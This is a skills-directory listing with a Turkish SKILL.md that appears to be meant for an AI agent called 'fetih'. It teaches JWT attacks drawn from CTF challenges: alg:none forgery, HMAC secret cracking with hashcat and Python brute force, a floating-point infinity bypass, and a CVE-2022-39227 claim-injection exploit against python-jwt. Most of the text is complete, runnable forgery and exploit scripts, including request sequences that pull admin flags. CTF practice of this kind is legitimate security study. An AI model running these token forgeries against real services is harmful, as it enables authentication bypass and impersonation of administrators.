Skip to content
Back to skills

Jwt Attacks

ASecurity

JWT saldırıları — alg:none, HMAC brute-force, floating point bypass, CVE-2022-39227

  • 4 stars
  • 0 votes
  • 0 copies
  • 1 view
  • Added September 8, 2026
securitypythongobashsqlgitapi

Works with

  • api

Security analysis

A100/100

Scanned September 8, 2026

npx -y skills add MustafaKemal0146/fetih --skill jwt-attacks --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Jwt Attacks?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Jwt Attacks
[![Security: A — Skills Directory](https://www.skillsdirectory.com/api/skills/mustafakemal0146-jwt-attacks/badge)](https://www.skillsdirectory.com/skills/mustafakemal0146-jwt-attacks)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: jwt-attacks
description: JWT saldırıları — alg:none, HMAC brute-force, floating point bypass, CVE-2022-39227
tags: [ctf, crypto, web, jwt, alg-none, hmac, brute-force, token-forgery]
triggers:
  - "JWT token"
  - "eyJ ile başlayan token"
  - "algorithm none"
  - "HS256 secret"
  - "token forge"
  - "admin JWT"
  - "python-jwt"
  - "hashcat 16500"
difficulty: medium
category: crypto
solved_challenges:
  - "LACTF 2024 - jason-web-token (floating point infinity)"
  - "WolvCTF 2024 - Username (hashcat brute)"
  - "HTB Cyber Apocalypse 2024 - LockTalk (CVE-2022-39227)"
  - "LINE CTF 2024 - jalyboy baby (alg:none)"
adapted_for: fetih
---

# JWT Saldırıları

JWT (JSON Web Token) formatı: `base64url(header).base64url(payload).signature`

## Ne Zaman Kullan

- Challenge'da `eyJ` ile başlayan bir token varsa (base64url encoded JSON header)
- Cookie veya Authorization header'da JWT görürsen
- "admin", "role", "user" gibi claim'ler içeren token forge etmen gerekiyorsa
- Kaynak kodda `python-jwt`, `pyjwt`, `jsonwebtoken` kütüphaneleri görürsen
- "Invalid signature", "Token expired" gibi mesajlar alıyorsan

### Hızlı Kontrol
```bash
# Token'ı decode et (imza doğrulaması olmadan)
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoidXNlciJ9.xxx" | cut -d'.' -f1 | base64 -d 2>/dev/null
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoidXNlciJ9.xxx" | cut -d'.' -f2 | base64 -d 2>/dev/null
```

---

## Saldırı 1: alg:none (Algoritma Bypass)

### Nasıl Çalışır

JWT kütüphanesi `alg` değerini körü körüne güvenirse, `"alg":"none"` yaparak imzayı tamamen atlayabiliriz. Header'da algoritma `none` olduğunda kütüphane imza doğrulaması yapmaz, boş imzayı kabul eder.

### LINE CTF 2024 - jalyboy baby Örneği

Hedef: `sub` claim'ini `admin` yap, imzayı geçer kıl.

```python
import base64
import json

def b64url_encode(data: bytes) -> str:
    """Padding olmadan base64url encode."""
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode()

def b64url_decode(s: str) -> bytes:
    """Padding ekleyerek base64url decode."""
    padding = 4 - len(s) % 4
    if padding != 4:
        s += '=' * padding
    return base64.urlsafe_b64decode(s)

def forge_alg_none(original_token: str, new_claims: dict) -> str:
    """
    alg:none saldırısı ile yeni claim'ler içeren token üret.
    
    Args:
        original_token: Orijinal geçerli JWT
        new_claims: İstenen claim değerleri (örn: {"sub": "admin", "role": "admin"})
    
    Returns:
        Forge edilmiş JWT token
    """
    parts = original_token.split('.')
    
    # Orijinal payload'u decode et
    original_payload = json.loads(b64url_decode(parts[1]))
    print(f"[*] Orijinal payload: {original_payload}")
    
    # Payload'u güncelle
    original_payload.update(new_claims)
    print(f"[*] Yeni payload: {original_payload}")
    
    # Header'ı alg:none yap
    new_header = {"alg": "none", "typ": "JWT"}
    
    # Yeni token'ı oluştur (imza boş)
    header_encoded = b64url_encode(json.dumps(new_header, separators=(',', ':')).encode())
    payload_encoded = b64url_encode(json.dumps(original_payload, separators=(',', ':')).encode())
    
    # alg:none tokenında imza bölümü boş string olmalı
    forged = f"{header_encoded}.{payload_encoded}."
    
    print(f"[+] Forge edilmiş token: {forged}")
    return forged

# Kullanım
original = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyIiwicm9sZSI6InVzZXIifQ.SIGNATURE"
token = forge_alg_none(original, {"sub": "admin", "role": "admin"})
```

### Varyasyonlar: "None" Yazım Farklılıkları

Bazı kütüphaneler sadece küçük harf `none` kontrol eder. Dene:
- `"alg": "None"`
- `"alg": "NONE"`
- `"alg": "nOnE"`

```python
for alg_variant in ["none", "None", "NONE", "nOnE", "NoNe"]:
    header = {"alg": alg_variant, "typ": "JWT"}
    # ... aynı forge işlemi
```

---

## Saldırı 2: HMAC Secret Brute-Force

### Nasıl Çalışır

JWT `HS256` algoritmasıyla imzalanmışsa, secret zayıf bir kelimeyse brute-force ile kırılabilir. Secret bulununca istenen payload ile geçerli token üretilir.

### Hashcat ile Kırma (Önerilen Yöntem)

```bash
# Token'ı dosyaya kaydet (tek satır, tam token)
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoidXNlciJ9.ABCDEF" > jwt.txt

# Rockyou wordlist ile kır (-m 16500 = JWT modu)
hashcat -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt --show

# Kısa secretlar için brute-force (1-6 karakter, küçük harf + rakam)
hashcat -m 16500 jwt.txt -a 3 "?l?l?l?l?l" --increment --increment-min 1

# Özel charset ile (lowercase + digit, max 5 karakter)
hashcat -m 16500 jwt.txt -a 3 -1 "abcdefghijklmnopqrstuvwxyz0123456789" "?1?1?1?1?1"

# Kırılan secret'ı göster
hashcat -m 16500 jwt.txt --show
```

### WolvCTF 2024 - Username Örneği

Secret `mstzt` (5 karakter, sadece küçük harf) idi. Hashcat ile dakikalar içinde kırıldı.

```bash
hashcat -m 16500 wolv_jwt.txt -a 3 "?l?l?l?l?l"
# Çıktı: ...token...:mstzt
```

### Python ile Manuel Brute-Force

```python
import hmac
import hashlib
import base64
import json
import itertools
import string

def b64url_encode(data: bytes) -> str:
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode()

def b64url_decode(s: str) -> bytes:
    padding = 4 - len(s) % 4
    if padding != 4:
        s += '=' * padding
    return base64.urlsafe_b64decode(s)

def verify_jwt_secret(token: str, secret: str) -> bool:
    """Verilen secret ile JWT imzasını doğrula."""
    parts = token.split('.')
    if len(parts) != 3:
        return False
    
    message = f"{parts[0]}.{parts[1]}".encode()
    expected_sig = b64url_decode(parts[2])
    
    actual_sig = hmac.new(secret.encode(), message, hashlib.sha256).digest()
    return hmac.compare_digest(expected_sig, actual_sig)

def brute_force_jwt(token: str, wordlist_path: str = None, max_len: int = 6) -> str | None:
    """
    JWT secret'ı wordlist veya brute-force ile bul.
    
    Returns:
        Bulunan secret veya None
    """
    # Önce wordlist dene
    if wordlist_path:
        print(f"[*] Wordlist deneniyor: {wordlist_path}")
        try:
            with open(wordlist_path, 'r', encoding='utf-8', errors='ignore') as f:
                for i, line in enumerate(f):
                    secret = line.strip()
                    if verify_jwt_secret(token, secret):
                        print(f"[+] Secret bulundu: {secret} ({i} satırda)")
                        return secret
                    if i % 100000 == 0:
                        print(f"[*] {i} denendi...")
        except FileNotFoundError:
            print(f"[-] Wordlist bulunamadı: {wordlist_path}")
    
    # Brute-force (kısa secretlar için)
    charset = string.ascii_lowercase + string.digits
    print(f"[*] Brute-force başlıyor (max {max_len} karakter, charset: {charset})")
    
    for length in range(1, max_len + 1):
        print(f"[*] {length} karakter deneniyor...")
        for combo in itertools.product(charset, repeat=length):
            secret = ''.join(combo)
            if verify_jwt_secret(token, secret):
                print(f"[+] Secret bulundu: {secret}")
                return secret
    
    print("[-] Secret bulunamadı")
    return None

def forge_with_secret(secret: str, new_payload: dict, alg: str = "HS256") -> str:
    """Bilinen secret ile yeni payload içeren geçerli JWT üret."""
    header = {"alg": alg, "typ": "JWT"}
    header_enc = b64url_encode(json.dumps(header, separators=(',', ':')).encode())
    payload_enc = b64url_encode(json.dumps(new_payload, separators=(',', ':')).encode())
    
    message = f"{header_enc}.{payload_enc}".encode()
    signature = hmac.new(secret.encode(), message, hashlib.sha256).digest()
    sig_enc = b64url_encode(signature)
    
    return f"{header_enc}.{payload_enc}.{sig_enc}"

# Kullanım
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoidXNlciJ9.SIGNATURE"
secret = brute_force_jwt(token, "/usr/share/wordlists/rockyou.txt")

if secret:
    admin_token = forge_with_secret(secret, {"role": "admin", "sub": "admin"})
    print(f"[+] Admin token: {admin_token}")
```

---

## Saldırı 3: Floating Point Infinity (LACTF 2024 - jason-web-token)

### Nasıl Çalışır

Python'da `float("inf")` veya `1e309` değeri `infinity`'e dönüşür. Eğer server tarafı JWT doğrulaması şöyleyse:

```python
# Zafiyetli kod
salted_secret = float(age) * SECRET_VALUE
if salted_secret == provided_secret:
    grant_access()
```

`age = 1e309` → `float("1e309") = inf` → `inf * herhangi_bir_sayi = inf` → Karşılaştırma her zaman `True` olur (eğer `provided_secret` de `inf` ise).

### LACTF 2024 Tam Çözümü

```python
import base64
import json
import hmac
import hashlib
import requests

def b64url_encode(data: bytes) -> str:
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode()

def b64url_decode(s: str) -> bytes:
    padding = 4 - len(s) % 4
    if padding != 4:
        s += '=' * padding
    return base64.urlsafe_b64decode(s)

# 1. Adım: Normal kayıt ol ve token al
session = requests.Session()
BASE_URL = "http://challenge.lactf.uclaacm.com:PORT"

resp = session.post(f"{BASE_URL}/register", json={"username": "testuser", "age": 25})
token = resp.json()["token"]
print(f"[*] Normal token alındı: {token}")

# 2. Adım: Token'ı incele
parts = token.split('.')
payload = json.loads(b64url_decode(parts[1]))
print(f"[*] Payload: {payload}")
# Örn: {"username": "testuser", "age": 25, "iat": 1234567890}

# 3. Adım: age değerini infinity yaparak yeni token üret
# Challenge'da secret, age'e dayalı türetiliyordu
# age = 1e309 → Python'da inf olur → salted_secret her zaman inf

# Önce mevcut secret ile token imzalanmış mı kontrol et
# (Çoğu zaman secret bilinmez; ama floating point bypass farklı çalışır)

# Challenge'ın özel mantığı:
# server.py: secret_key = str(age * MAGIC_NUMBER) 
# age=inf → secret_key = "inf" → biz de "inf" ile imzalayabiliriz!

def forge_infinity_token(original_token: str) -> str:
    parts = original_token.split('.')
    original_payload = json.loads(b64url_decode(parts[1]))
    
    # age'i infinity yapan değer
    new_payload = original_payload.copy()
    new_payload["age"] = 1e309  # Python bunu JSON'da "Infinity" olarak serileştirebilir
    
    # Ama JSON standardında Infinity geçersiz, bu yüzden string trick kullan:
    # Bazı challenge'larda float("inf") JSON serialize edilince "Infinity" olur
    # Server bunu float'a çevirince inf * MAGIC = inf → "inf" secret key
    
    # Secret key artık "inf" (veya "Infinity") - bunu kullanarak imzala
    secret_key = "inf"  # Server'ın ürettiği key
    
    header_enc = parts[0]  # Header değişmeden kalır (HS256)
    payload_enc = b64url_encode(json.dumps(new_payload, separators=(',', ':'), 
                                           allow_nan=True).encode())
    
    message = f"{header_enc}.{payload_enc}".encode()
    sig = hmac.new(secret_key.encode(), message, hashlib.sha256).digest()
    
    return f"{header_enc}.{payload_enc}.{b64url_encode(sig)}"

# 4. Adım: Admin erişimi dene
forged = forge_infinity_token(token)
resp = session.get(f"{BASE_URL}/flag", headers={"Authorization": f"Bearer {forged}"})
print(f"[+] Sonuç: {resp.text}")
```

### Temel Fikir

```python
# Python floating point davranışı
>>> float("1e309")
inf
>>> import math
>>> math.isinf(float("1e309"))
True
>>> float("1e309") * 99999
inf
>>> float("1e309") * 0.001  
inf
>>> str(float("1e309") * 12345)
'inf'
# Yani server hangi MAGIC_NUMBER kullanırsa kullansın, sonuç "inf" string'i olur
```

---

## Saldırı 4: CVE-2022-39227 (python-jwt < 3.3.4)

### Zafiyet Nedir

`python-jwt` kütüphanesinin 3.3.4 öncesi sürümlerinde, imzalanmış bir token'ın claim'leri değiştirilebilir ancak orijinal imza hâlâ geçerli sayılır. "Signature reuse" + "claim injection" zafiyeti.

### HTB Cyber Apocalypse 2024 - LockTalk Örneği

```python
# Hedef: guest token alıp administrator yetkisi kazan
# Kullanılan versiyon: python-jwt 3.3.2 (zafiyetli)

import json
import base64
import re
import requests

def exploit_cve_2022_39227(token: str, injected_claims: dict) -> str:
    """
    CVE-2022-39227: python-jwt'de claim injection.
    
    Zafiyetin özeti:
    - python-jwt token'ı parse ederken önce header/payload'u base64 decode eder
    - Sonra JSON'u parse eder ve "en dıştaki" JSON key'lerini alır
    - Eğer payload içine ek JSON objesi enjekte edersek, python-jwt bunu parse eder
    - Ama imzayı orijinal (iç) payload üzerinden doğrular → imza geçerli kalır!
    
    PoC: https://github.com/user0x1337/CVE-2022-39227
    """
    
    parts = token.split('.')
    header = parts[0]
    payload_b64 = parts[1]
    signature = parts[2]
    
    # Orijinal payload'u decode et
    padding = 4 - len(payload_b64) % 4
    if padding != 4:
        payload_b64_padded = payload_b64 + '=' * padding
    else:
        payload_b64_padded = payload_b64
    
    original_payload = json.loads(base64.urlsafe_b64decode(payload_b64_padded))
    print(f"[*] Orijinal payload: {original_payload}")
    
    # Yeni payload'u oluştur
    # Trick: JSON'u wrap ederek enjekte et
    # {"original_key": "original_val", " INJECTED": {"role": "administrator"}}
    # python-jwt bunu parse edince INJECTED key'ini görür ama imzayı orijinal üzerinden doğrular
    
    injected_part = json.dumps(injected_claims, separators=(',', ':'))
    
    # Orijinal JSON'u string olarak manipüle et
    original_json = json.dumps(original_payload, separators=(',', ':'))
    
    # Son } kaldır ve enjekte edilecek claim'i ekle
    # Örnek: {"role":"guest"} → {"role":"guest", "role":"administrator"}
    # python-jwt son değeri alır
    modified_json = original_json[:-1] + ',' + injected_part[1:]
    
    print(f"[*] Manipüle edilmiş JSON: {modified_json}")
    
    # Yeni payload'u encode et
    new_payload_b64 = base64.urlsafe_b64encode(modified_json.encode()).rstrip(b'=').decode()
    
    # Orijinal imzayı kullan (CVE: imza hâlâ geçerli!)
    new_token = f"{header}.{new_payload_b64}.{signature}"
    
    print(f"[+] CVE-2022-39227 exploit token: {new_token}")
    return new_token

# HTB LockTalk örneği
BASE_URL = "http://94.237.x.x:PORT"

# 1. Guest token al
resp = requests.get(f"{BASE_URL}/api/v1/get_token")
guest_token = resp.json()["token"]
print(f"[*] Guest token: {guest_token}")

# 2. CVE exploit ile administrator claim enjekte et
admin_token = exploit_cve_2022_39227(
    guest_token, 
    {"role": "administrator"}
)

# 3. Flag al
resp = requests.get(
    f"{BASE_URL}/api/v1/flag",
    headers={"Authorization": f"Bearer {admin_token}"}
)
print(f"[+] Flag: {resp.text}")
```

### CVE-2022-39227 Otomatik PoC Script

```bash
# GitHub PoC klon
git clone https://github.com/user0x1337/CVE-2022-39227
cd CVE-2022-39227

# Kullanım
python3 cve_2022_39227.py -j "GUEST_JWT_TOKEN" -i "role=administrator"
```

### Hangi Sürümler Etkilenmiş

```python
# requirements.txt veya pip show ile kontrol et
pip show python-jwt
# Version: 3.3.2 → ZAFİYETLİ
# Version: 3.3.4 → Güvenli (patch uygulanmış)
```

---

## Tuzaklar

### 1. Base64 Padding Sorunları

JWT base64url encoding'de padding (`=`) kullanmaz. Decode ederken padding eklemen gerekir.

```python
# YANLIŞ: Direkt decode
base64.b64decode(part)  # Hata verebilir

# DOĞRU: Padding ekle
def b64url_decode(s):
    s += '=' * (-len(s) % 4)
    return base64.urlsafe_b64decode(s)
```

### 2. HS256 vs RS256 Karıştırma

Asimetrik algoritmada (RS256) private key yoksa alg:none dışında saldırı zordur. Ama bazı kütüphanelerde RS256 → HS256 geçişi yapılabilir (public key secret olarak kullanılır).

### 3. "exp" Claim Süresi Dolmuş

Token'ı forge ederken `exp` değerini geleceğe set et.

```python
import time
payload["exp"] = int(time.time()) + 86400  # 1 gün sonra
```

### 4. JSON Key Sırası

Bazı kütüphaneler JSON serialize ederken key sırasına duyarlıdır. İmza doğrulayamazsan orijinal byte sırasını koru.

### 5. Hızlı Referans

| Durum | Saldırı |
|-------|---------|
| Algoritma kontrol edilmiyor | alg:none |
| Zayıf HMAC secret | Hashcat -m 16500 |
| Age/değer matematiksel hesap | Floating point (inf) |
| python-jwt < 3.3.4 | CVE-2022-39227 |
| RS256, public key biliniyor | HS256'ya geç, public key ile imzala |
| `kid` parametresi var | SQL injection / path traversal |

<!--
  ⚔ Bu skill FETIH AI Agent icin gelistirilmistir — https://github.com/MustafaKemal0146/fetih
  Yetkisiz kullanim/kopyalama tespit edilebilir.
  hash: 71edbdf1130f6f32
-->

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

Comments

Loading comments…